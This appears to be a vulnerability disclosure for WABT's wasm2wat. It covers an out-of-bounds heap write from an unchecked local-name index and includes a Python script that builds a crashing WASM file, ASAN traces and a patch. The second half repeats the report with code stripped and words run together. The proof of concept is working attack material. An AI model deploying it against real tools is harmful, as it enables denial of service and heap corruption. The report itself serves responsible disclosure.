Description of the vulnerability and its impact
A crafted WASM binary with a name section whose local-names subsection supplies individual
local_index values exceeding the function's actual parameter and local count causes an
out-of-bounds heap write in wasm2wat. The binary reader's OnLocalNameLocalCount check
validates only how many name entries appear, not the range of their individual index values.
The unchecked local_index is inserted into func->bindings without bounds validation
(src/binary-reader-ir.cc:1779) and later reaches MakeTypeBindingReverseMapping in
src/ir.cc:609, where a std::vector<std::string> is subscripted at the attacker-controlled
index past the end of its allocation.
The only guard is an assert() at ir.cc:608 — compiled out with -DNDEBUG in all
Release builds — leaving a raw, unchecked heap write in production. The write offset is
local_index × sizeof(std::string) (32 bytes per index) past the vector base, and the
write value is the attacker-supplied name string, making this a strong controlled-write
primitive.
Impact: Reliable DoS (process abort) in all builds. In Release builds without ASAN,
heap corruption can overwrite adjacent objects; a skilled attacker with control over heap
layout could potentially escalate to arbitrary code execution.
First faulty condition: src/binary-reader-ir.cc:1779 — func->bindings.emplace(..., Binding(local_index)) with no per-index bounds check.
Crash/write site: src/ir.cc:609 — (*out_reverse_mapping)[binding.index] = name.
How to reproduce
# Generate a 42-byte WASM with local_index=1 for a 1-param function (valid range: [0,0])
python3 << "EOF"
def leb128u(n):
out = []
while True:
b = n & 0x7F; n >>= 7
if n: b |= 0x80
out.append(b)
if not n: break
return bytes(out)
def wstr(s):
b = s.encode(); return leb128u(len(b)) + b
header = b'\x00asm\x01\x00\x00\x00'
type_section = b'\x01\x04\x01\x60\x00\x00'
func_section = b'\x03\x02\x01\x00'
func_body = b'\x01\x01\x7f\x0b'
code_payload = b'\x01' + leb128u(len(func_body)) + func_body
code_section = b'\x0a' + leb128u(len(code_payload)) + code_payload
local_names_data = leb128u(1) + leb128u(0) + leb128u(1) + leb128u(0x1000000) + wstr("a")
subsection = b'\x02' + leb128u(len(local_names_data)) + local_names_data
name_payload = wstr("name") + subsection
name_section = b'\x00' + leb128u(len(name_payload)) + name_payload
wasm = header + type_section + func_section + code_section + name_section
with open('poc.wasm', 'wb') as f: f.write(wasm)
EOF
ASAN_OPTIONS="detect_leaks=0" wasm2wat poc.wasm -o /dev/null
Debug build (-DCMAKE_BUILD_TYPE=Debug) output (assert fires):
wasm2wat: src/ir.cc:608: void wabt::MakeTypeBindingReverseMapping(size_t, const BindingHash &, std::vector<std::string> *): Assertion `static_cast<size_t>(binding.index) < out_reverse_mapping->size()' failed.
Aborted
Release build (-DCMAKE_BUILD_TYPE=Release) output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1534902==ERROR: AddressSanitizer: SEGV on unknown address 0x5030200027d0 (pc 0x7f9d0f36d123 bp 0x7fff0cf93f00 sp 0x7fff0cf93ed0 T0)
==1534902==The signal is caused by a READ memory access.
#0 0x7f9d0f36d123 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6)
#1 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:1619:8
#2 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:819:15
#3 0x56183c724e1a in wabt::MakeTypeBindingReverseMapping(unsigned long, wabt::BindingHash const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>>*) ./wabt/src/ir.cc:609:43
#4 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitFunc(unsigned int, wabt::Func*) ./wabt/src/apply-names.cc:480:3
#5 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitModule(wabt::Module*) ./wabt/src/apply-names.cc:554:5
#6 0x56183c6b4c3d in wabt::ApplyNames(wabt::Module*) ./wabt/src/apply-names.cc:577:18
#7 0x56183c6b0d8c in ProgramMain(int, char**) ./wabt/src/tools/wasm2wat.cc:129:31
#8 0x7f9d0ee2a337 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#9 0x7f9d0ee2a3fa in __libc_start_main csu/../csu/libc-start.c:360:3
#10 0x56183c5d46d4 in _start (./wabt/build/wasm2wat+0x706d4) (BuildId: 612cf9eca12828173cb5d7d7bb85407c24500191)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
==1534902==ABORTING
Which WABT tools or library functions are affected
- Primary tool:
wasm2wat
- First faulty condition:
BinaryReaderIR::OnLocalName — src/binary-reader-ir.cc:1779
- Write site:
MakeTypeBindingReverseMapping — src/ir.cc:609
- Also affected: any other tool or library caller that invokes
ApplyNames() after
reading a WASM binary with a name section — including wat-writer.cc, c-writer.cc,
generate-names.cc, and binary-writer.cc, all of which share the same vulnerable function.
Which WebAssembly features must be enabled
None. The WASM name section is a standard custom section processed by default.
No --enable-* flags are required to trigger this vulnerability.
Suggested fix
Add a per-index bounds check in OnLocalName, matching the existing count check in
OnLocalNameLocalCount:
--- a/src/binary-reader-ir.cc
+++ b/src/binary-reader-ir.cc
@@ -1771,6 +1771,12 @@ Result BinaryReaderIR::OnLocalName(Index func_index,
if (name.empty()) {
return Result::Ok;
}
Func* func = module_->funcs[func_index];
+ Index num_params_and_locals = func->GetNumParamsAndLocals();
+ if (local_index >= num_params_and_locals) {
+ PrintError("local name index (%" PRIindex ") out of range (%" PRIindex ")",
+ local_index, num_params_and_locals);
+ return Result::Error;
+ }
func->bindings.emplace(GetUniqueName(&func->bindings, MakeDollarName(name)),
Binding(local_index));
return Result::Ok;
Attribution
Reported by: Anthropic security team
Analysed by: AdaLogics / Claude (Anthropic)
Description of the vulnerability and its impact
A crafted WASM binary with a name section whose local-names subsection supplies individual
local_indexvalues exceeding the function's actual parameter and local count causes anout-of-bounds heap write in
wasm2wat. The binary reader'sOnLocalNameLocalCountcheckvalidates only how many name entries appear, not the range of their individual index values.
The unchecked
local_indexis inserted intofunc->bindingswithout bounds validation(
src/binary-reader-ir.cc:1779) and later reachesMakeTypeBindingReverseMappinginsrc/ir.cc:609, where astd::vector<std::string>is subscripted at the attacker-controlledindex past the end of its allocation.
The only guard is an
assert()atir.cc:608— compiled out with-DNDEBUGin allRelease builds — leaving a raw, unchecked heap write in production. The write offset is
local_index × sizeof(std::string)(32 bytes per index) past the vector base, and thewrite value is the attacker-supplied name string, making this a strong controlled-write
primitive.
Impact: Reliable DoS (process abort) in all builds. In Release builds without ASAN,
heap corruption can overwrite adjacent objects; a skilled attacker with control over heap
layout could potentially escalate to arbitrary code execution.
First faulty condition:
src/binary-reader-ir.cc:1779—func->bindings.emplace(..., Binding(local_index))with no per-index bounds check.Crash/write site:
src/ir.cc:609—(*out_reverse_mapping)[binding.index] = name.How to reproduce
Debug build (
-DCMAKE_BUILD_TYPE=Debug) output (assert fires):Release build (
-DCMAKE_BUILD_TYPE=Release) output:Which WABT tools or library functions are affected
wasm2watBinaryReaderIR::OnLocalName—src/binary-reader-ir.cc:1779MakeTypeBindingReverseMapping—src/ir.cc:609ApplyNames()afterreading a WASM binary with a name section — including
wat-writer.cc,c-writer.cc,generate-names.cc, andbinary-writer.cc, all of which share the same vulnerable function.Which WebAssembly features must be enabled
None. The WASM name section is a standard custom section processed by default.
No
--enable-*flags are required to trigger this vulnerability.Suggested fix
Add a per-index bounds check in
OnLocalName, matching the existing count check inOnLocalNameLocalCount:Attribution
Reported by: Anthropic security team
Analysed by: AdaLogics / Claude (Anthropic)